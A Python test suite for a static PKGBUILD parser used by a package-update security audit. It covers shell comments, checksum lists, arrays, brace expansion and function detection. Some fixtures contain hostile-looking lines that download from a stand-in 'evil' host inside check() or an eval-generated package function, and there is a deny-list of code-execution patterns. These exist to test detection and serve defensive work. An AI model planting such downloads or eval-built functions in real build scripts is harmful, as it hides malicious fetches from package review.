"""The static PKGBUILD parser.

This module is load-bearing for security. A parse bug here does not merely show
the wrong version: it means the audit inspected different text from what the
build will run, and a review that should have blocked a package passes. The
tests are written against shell semantics, verified with bash where it matters,
rather than against whatever the parser happened to do.

Nothing here may execute a PKGBUILD.
"""

from __future__ import annotations

import subprocess
import sys
from pathlib import Path

sys.path.insert(0, str(Path(__file__).resolve().parent.parent))

from updater import srcinfo  # noqa: E402
from updater.audit import (  # noqa: E402
    Change,
    Severity,
    functions_generated,
    scan_patterns,
    scan_sums,
)
from updater.srcinfo import (  # noqa: E402
    _expand_braces,
    _scan_array_end,
    _split_words,
    _strip_comment,
    parse_pkgbuild,
    parse_srcinfo,
)

CLONE = Path.home() / ".cache/paru/clone"


def bash_expand(source: str) -> list[str]:
    """What bash actually produces for an array, as the ground truth."""
    script = f'arr={source}\nfor x in "${{arr[@]}}"; do printf "%s\\n" "$x"; done'
    out = subprocess.run(
        ["bash", "-c", script], capture_output=True, text=True, timeout=10, check=False
    ).stdout
    return out.splitlines()


# --------------------------------------------------------------------------
# the invariant
# --------------------------------------------------------------------------


def test_nothing_in_this_module_can_execute_a_pkgbuild():
    """A `source`-ing shortcut would run the maintainer's code at review time."""
    import re as remod

    body = Path(srcinfo.__file__).read_text()
    forbidden = [
        r"\bsubprocess\b",
        r"\bos\.system\b",
        r"\bpopen\b",
        r"(?<![.\w])exec\s*\(",  # bare exec(), not subprocess.exec
        r"(?<![.\w])eval\s*\(",
        r"(?<![.\w])compile\s*\(",  # re.compile is a regex, not code
    ]
    for pattern in forbidden:
        assert not remod.search(pattern, body), f"{pattern} appears in srcinfo.py"


# --------------------------------------------------------------------------
# comments
# --------------------------------------------------------------------------


def test_a_hash_inside_a_word_is_not_a_comment():
    """Shell only starts a comment when `#` begins a word."""
    assert (
        _strip_comment("source=(git+https://h/r.git#tag=x)") == "source=(git+https://h/r.git#tag=x)"
    )
    assert _strip_comment("x=${#arr[@]}") == "x=${#arr[@]}"
    assert _strip_comment("echo $#") == "echo $#"
    assert _strip_comment("x=#nothash") == "x=#nothash"


def test_a_hash_at_a_word_boundary_is_a_comment():
    assert _strip_comment("x=1  # a comment") == "x=1  "
    assert _strip_comment("# whole line") == ""
    assert _strip_comment("\t# indented") == "\t"


def test_a_quoted_hash_is_never_a_comment():
    assert _strip_comment('x="a # b"') == 'x="a # b"'
    assert _strip_comment("x='a # b'") == "x='a # b'"


def test_a_hash_in_a_source_does_not_eat_the_next_assignment():
    """The original bug: this swallowed `b2sums`, leaving the audit blind."""
    pb = parse_pkgbuild(
        "pkgname=x\n_tag=abc\nsource=(git+https://h/r.git#tag=${_tag})\nb2sums=('SKIP')\n"
    )
    assert pb.get("source") == ["git+https://h/r.git#tag=${_tag}"], pb.get("source")
    assert pb.get("b2sums") == ["SKIP"], pb.get("b2sums")


def test_a_hash_does_not_skew_brace_depth_and_swallow_a_function():
    """A truncated line used to remove a `}`, so check() ate package()."""
    pb = parse_pkgbuild(
        "check() {\n"
        "  if (( ${#site_packages[@]} != 1 )); then return 1; fi\n"
        "}\n"
        "package() {\n"
        '  install -Dm644 x "$pkgdir/x"\n'
        "}\n"
    )
    assert "check" in pb.funcs and "package" in pb.funcs, sorted(pb.funcs)
    assert "install" in pb.funcs["package"]


# --------------------------------------------------------------------------
# checksums
# --------------------------------------------------------------------------


def test_every_checksum_field_exists():
    """These were named in _LIST_FIELDS but never declared, so .SRCINFO values
    for them were silently discarded."""
    info = parse_srcinfo("")
    for field in ("sha256sums", "sha512sums", "b2sums", "md5sums"):
        assert hasattr(info, field), f"SrcInfo has no {field}"


def test_srcinfo_keeps_alternative_checksum_lists():
    text = (
        "pkgbase=x\npkgver=1\nsource = a.tar.gz\n"
        "sha512sums = aaaa\nsha512sums = SKIP\nb2sums = bbbb\n"
    )
    info = parse_srcinfo(text)
    assert info.sha512sums == ["aaaa", "SKIP"], info.sha512sums
    assert info.b2sums == ["bbbb"], info.b2sums


def test_primary_sums_picks_the_list_that_parallels_source():
    info = parse_srcinfo("pkgbase=x\nsource = a\nb2sums = bb\n")
    assert info.primary_sums == ["bb"]
    both = parse_srcinfo("pkgbase=x\nb2sums = bb\nsha256sums = aa\n")
    assert both.primary_sums == ["aa"], "sha256sums should win by preference"


def test_primary_sums_is_empty_when_nothing_is_declared():
    assert parse_srcinfo("pkgbase=x\n").primary_sums == []


def test_a_skip_on_a_b2sums_only_package_is_still_blocked():
    """The security consequence of dropping those fields.

    `scan_sums` looked only at sha256sums, so a package checksummed with
    sha512sums appeared to declare no checksums, and a newly introduced SKIP on
    a plain tarball produced no finding at all.
    """
    old = parse_srcinfo("pkgbase=x\nsource = https://ex/a.tar.gz\nsha512sums = aaaa\n")
    new = parse_srcinfo("pkgbase=x\nsource = https://ex/a.tar.gz\nsha512sums = SKIP\n")
    findings = scan_sums(Change(package="x", old_srcinfo=old, new_srcinfo=new), None)
    assert any(f.severity is Severity.BLOCK for f in findings), findings
    assert [f.rule for f in findings] == ["sums-skip-introduced"]


def test_a_skip_on_a_vcs_source_with_sha512sums_is_only_informational():
    old = parse_srcinfo("pkgbase=x\nsource = git+https://e/r.git\nsha512sums = aaaa\n")
    new = parse_srcinfo("pkgbase=x\nsource = git+https://e/r.git\nsha512sums = SKIP\n")
    findings = scan_sums(Change(package="x", old_srcinfo=old, new_srcinfo=new), None)
    assert [f.severity for f in findings] == [Severity.INFO], findings


def test_an_existing_skip_is_not_reported_as_new():
    text = "pkgbase=x\nsource = https://e/a.tar.gz\nsha512sums = SKIP\n"
    findings = scan_sums(
        Change(package="x", old_srcinfo=parse_srcinfo(text), new_srcinfo=parse_srcinfo(text)), None
    )
    assert [f.severity for f in findings] == [Severity.INFO], findings


# --------------------------------------------------------------------------
# arrays
# --------------------------------------------------------------------------


def test_a_closing_paren_inside_quotes_does_not_end_the_array():
    pb = parse_pkgbuild("optdepends=(\n 'foo: does things (fast)'\n 'bar: another'\n)")
    assert pb.get("optdepends") == ["foo: does things (fast)", "bar: another"], pb.get("optdepends")


def test_a_command_substitution_keeps_its_spaces():
    """shlex split inside `$(...)`, detaching a source from its identity."""
    assert _split_words("$(_checksum ${_tag}) SKIP") == ["$(_checksum ${_tag})", "SKIP"]
    assert _split_words("$(printf '%s' a) b") == ["$(printf '%s' a)", "b"]


def test_scan_array_end_skips_substitutions_and_quotes():
    assert _scan_array_end("a b)") == 3
    assert _scan_array_end("'a ) b' c)") == 9
    assert _scan_array_end("$(a b) c)") == 8
    # `$((` nests, so a naive depth counter mistakes its own `)` for the array's
    assert _scan_array_end("$(( 1 + 2 )) x)") == 14
    # and a substitution inside double quotes is its own context
    assert _scan_array_end('"$(sed -n "s/x/y/p" f)" )') == 24
    assert _scan_array_end("unterminated") == -1


def test_a_line_continuation_inside_an_array_is_not_an_element():
    pb = parse_pkgbuild("source=(a \\\n b)\n")
    assert pb.get("source") == ["a", "b"], pb.get("source")


def test_quoting_styles_all_work():
    for body, want in (
        ("'a b' c", ["a b", "c"]),
        ('"x y" z', ["x y", "z"]),
        ("a\\ b c", ["a b", "c"]),
        ("plain", ["plain"]),
        ("'it'", ["it"]),
    ):
        assert _split_words(body) == want, (body, _split_words(body))


# --------------------------------------------------------------------------
# brace expansion
# --------------------------------------------------------------------------


def test_brace_lists_expand_the_way_bash_expands_them():
    cases = ["foo{,.sig}", "a{b,c}d", "{a,b}", "x{a,b}y{c,d}"]
    for case in cases:
        assert _expand_braces(case) == bash_expand(f"({case})"), case


def test_a_substitution_brace_is_not_a_brace_list():
    """`${pkgver}` contains braces and is not a list."""
    assert _expand_braces("${pkgver}") == ["${pkgver}"]
    assert _expand_braces("${a}") == ["${a}"]
    got = _expand_braces("x/sdl2-${pkgver}.tar.gz{,.sig}")
    assert got == ["x/sdl2-${pkgver}.tar.gz", "x/sdl2-${pkgver}.tar.gz.sig"], got


def test_a_brace_without_a_comma_is_literal():
    assert _expand_braces("{a}") == ["{a}"]
    assert _expand_braces("{}") == ["{}"]


def test_brace_expansion_keeps_source_aligned_with_checksums():
    """Sources and checksums are paired by index, so a short source list shifts
    every checksum onto the wrong entry."""
    pb = parse_pkgbuild("source=(\"https://x/s.tar.gz\"{,.sig})\nsha512sums=('aaa' 'SKIP')\n")
    assert len(pb.get("source")) == 2, pb.get("source")
    assert len(pb.get("source")) == len(pb.get("sha512sums"))


# --------------------------------------------------------------------------
# scalars and assignment forms
# --------------------------------------------------------------------------


def test_a_scalar_keeps_its_whole_value():
    """Taking the first word truncated every unquoted multi-word value."""
    assert parse_pkgbuild("pkgdesc=hello world\n").one("pkgdesc") == "hello world"
    assert parse_pkgbuild('pkgdesc="hello world"\n').one("pkgdesc") == "hello world"
    assert parse_pkgbuild("pkgdesc='a  b'\n").one("pkgdesc") == "a  b"


def test_plus_equals_appends_and_equals_replaces():
    assert parse_pkgbuild("depends=(a)\ndepends+=(b c)\n").get("depends") == ["a", "b", "c"]
    assert parse_pkgbuild("depends=(a)\ndepends=(b)\n").get("depends") == ["b"]


# --------------------------------------------------------------------------
# functions
# --------------------------------------------------------------------------


def test_a_subshell_function_body_is_parsed():
    """`check() (` is valid shell and was not matched at all."""
    pb = parse_pkgbuild(
        "check() (\n wget http://evil/x\n git clone https://evil/y\n)\npackage() { :; }\n"
    )
    assert "check" in pb.funcs, sorted(pb.funcs)
    assert "wget" in pb.funcs["check"] and "git clone" in pb.funcs["check"], pb.funcs["check"]


def test_a_hyphenated_split_package_function_is_parsed():
    pb = parse_pkgbuild("package_lib32-gstreamer() { :; }\n")
    assert "package_lib32-gstreamer" in pb.funcs, sorted(pb.funcs)


def test_a_brace_on_the_next_line_is_parsed():
    pb = parse_pkgbuild("prepare()\n{\n  patch -p1 < x.patch\n}\n")
    assert "patch" in pb.funcs.get("prepare", ""), pb.funcs


def test_a_brace_inside_a_string_does_not_end_the_body():
    pb = parse_pkgbuild('build() {\n  echo "}"\n  make -j"$N"\n}\npackage() { :; }\n')
    assert "make" in pb.funcs.get("build", ""), pb.funcs.get("build")
    assert "package" in pb.funcs, sorted(pb.funcs)


def test_a_network_call_in_a_subshell_check_is_reachable_by_the_audit():
    """The bypass the audit named: the body must exist for rules to see it."""
    pb = parse_pkgbuild("check() (\n  wget -q http://evil/x -O /tmp/p\n)\npackage() { :; }\n")
    assert "wget" in pb.funcs.get("check", ""), "the body was not parsed"
    findings = scan_patterns(Change(package="x", new_pkgbuild=pb))
    assert findings, "a download inside check() produced no finding at all"


def test_functions_generated_at_runtime_are_still_scanned():
    """`eval "package_x() { ... }"` evaded every function-scoped rule.

    Static parsing cannot attribute those bodies to a name, so scoped rules
    found nothing and reported a clean result -- the worst outcome for a
    security check.
    """
    text = (
        "pkgbase=x\npkgname=(x)\n"
        "main() {\n"
        '  eval "package_${pkgbase}() {\n'
        "    wget -q http://evil/x -O /tmp/p\n"
        '  }"\n'
        "}\n"
    )
    pb = parse_pkgbuild(text)
    assert "package" not in pb.funcs
    assert functions_generated(pb), "function generation was not detected"
    findings = scan_patterns(Change(package="x", new_pkgbuild=pb))
    assert findings, "code inside a generated function was never scanned"


def test_a_normal_pkgbuild_is_not_treated_as_generating_functions():
    pb = parse_pkgbuild("build() { make; }\npackage() { :; }\n")
    assert not functions_generated(pb)


# --------------------------------------------------------------------------
# real packages
# --------------------------------------------------------------------------


def _parsed(package: str):
    directory = CLONE / package
    if not (directory / "PKGBUILD").is_file():
        return None, None
    pb = parse_pkgbuild((directory / "PKGBUILD").read_text(errors="replace"))
    si_path = directory / ".SRCINFO"
    si = parse_srcinfo(si_path.read_text(errors="replace")) if si_path.is_file() else None
    return pb, si


def test_no_real_pkgbuild_raises_and_none_loses_its_functions():
    if not CLONE.is_dir():
        return
    problems = []
    checked = 0
    for directory in sorted(d for d in CLONE.iterdir() if d.is_dir()):
        path = directory / "PKGBUILD"
        if not path.is_file():
            continue
        text = path.read_text(errors="replace")
        try:
            pb = parse_pkgbuild(text)
        except Exception as exc:  # noqa: BLE001
            problems.append(f"{directory.name}: raised {type(exc).__name__}: {exc}")
            continue
        checked += 1
        # every package must expose a package() of some form, unless it builds
        # its functions at runtime -- `eval "package_x() { ... }"` cannot be
        # attributed statically, and the audit falls back to scanning the whole
        # file for those
        has_package = any(name == "package" or name.startswith("package_") for name in pb.funcs)
        if not has_package and not functions_generated(pb):
            problems.append(f"{directory.name}: no package function parsed ({sorted(pb.funcs)})")
    assert checked >= 50, f"only checked {checked} packages"
    assert not problems, "\n".join(problems[:10])


def test_the_previously_misparsed_packages_are_now_correct():
    """Named regressions from the audit, when the clones are present."""
    expectations = {
        "noctalia-git": lambda pb: {"build", "package", "pkgver"} <= set(pb.funcs),
        "aescrypt": lambda pb: any(n.startswith("package_") for n in pb.funcs),
        "python-beartype": lambda pb: "check" in pb.funcs and "package" in pb.funcs,
        "lib32-gstreamer": lambda pb: "check" in pb.funcs and bool(pb.funcs["check"]),
        "shelly-bin": lambda pb: any(n.startswith("package_") for n in pb.funcs),
        "mesonlsp": lambda pb: len(pb.get("source")) >= 6,
        "proton-ge-custom-bin": lambda pb: all(" " in dep for dep in pb.get("optdepends")),
    }
    skipped = []
    for package, predicate in expectations.items():
        pb, _ = _parsed(package)
        if pb is None:
            skipped.append(package)
            continue
        assert predicate(pb), f"{package} still parses incorrectly: {sorted(pb.funcs)}"


def test_source_counts_agree_with_srcinfo_for_most_real_packages():
    """.SRCINFO is authoritative and already expanded, so where the PKGBUILD
    needs no variable expansion the two must agree.

    Some will legitimately differ: a PKGBUILD that builds `source` from
    variables or appends to it inside a loop cannot be evaluated statically, and
    that is a stated limitation rather than a bug.
    """
    if not CLONE.is_dir():
        return
    agree = differ = 0
    for directory in sorted(d for d in CLONE.iterdir() if d.is_dir()):
        raw = directory / ".SRCINFO"
        if not raw.is_file():
            continue
        text = raw.read_text(errors="replace")
        # Packages with architecture-suffixed sources are excluded: `si.source`
        # is the effective host-arch list (base plus this arch's entries) while
        # the PKGBUILD's `source` is only the base, so the two are not
        # comparable. The merge itself is covered separately.
        if "_x86_64" in text or "_aarch64" in text:
            continue
        pb, si = _parsed(directory.name)
        if pb is None or si is None:
            continue
        if not pb.get("source") or not si.source:
            continue
        if len(pb.get("source")) == len(si.source):
            agree += 1
        else:
            differ += 1
    assert agree >= 50, f"only {agree} packages agreed (differ={differ})"
    assert agree > differ * 5, f"too many disagreements: {agree} vs {differ}"


def test_a_real_package_with_dollar_paren_sums_keeps_them_whole():
    """tor-browser-bin uses `$(_dist_checksum ${_tag})` in its sums."""
    pb, _ = _parsed("tor-browser-bin")
    if pb is None:
        return
    entries = pb.get("sha256sums") or pb.get("sha512sums") or pb.get("b2sums")
    joined = " ".join(entries)
    if "$(_dist_checksum" in joined:
        assert not any(e == "$(_dist_checksum" for e in entries), entries


def main() -> int:
    tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
    failed = 0
    for name, fn in tests:
        try:
            fn()
        except Exception as exc:  # noqa: BLE001
            failed += 1
            print(f"FAIL  {name}\n        {type(exc).__name__}: {exc}")
        else:
            print(f"ok    {name}")
    print(f"\n{len(tests) - failed}/{len(tests)} passed")
    return 1 if failed else 0


if __name__ == "__main__":
    raise SystemExit(main())


def test_arch_suffixed_keys_merge_for_the_host_architecture():
    """`.SRCINFO` carries `source_x86_64` and `depends_aarch64` beside the base.

    Unmatched, they are dropped: a package whose sources are arch-suffixed then
    looks like it has no sources and no checksums at all, which is a silent
    false negative on the architecture being built for. Only this machine's
    architecture is merged -- another one's dependency is not an edge here.
    """
    si = parse_srcinfo(
        "pkgbase = d\n\tpkgver = 1.0\n"
        "\tsource = https://e/base.tar.gz\n"
        "\tsource_x86_64 = https://e/x86.tar.gz\n"
        "\tsource_aarch64 = https://e/arm.tar.gz\n"
        "\tsha256sums_x86_64 = deadbeef\n"
        "\tdepends = glibc\n\tdepends_aarch64 = musl\n"
    )

    assert si.source == ["https://e/base.tar.gz", "https://e/x86.tar.gz"]
    assert si.sha256sums == ["deadbeef"]
    assert si.depends == ["glibc"], "another architecture's dep became an edge"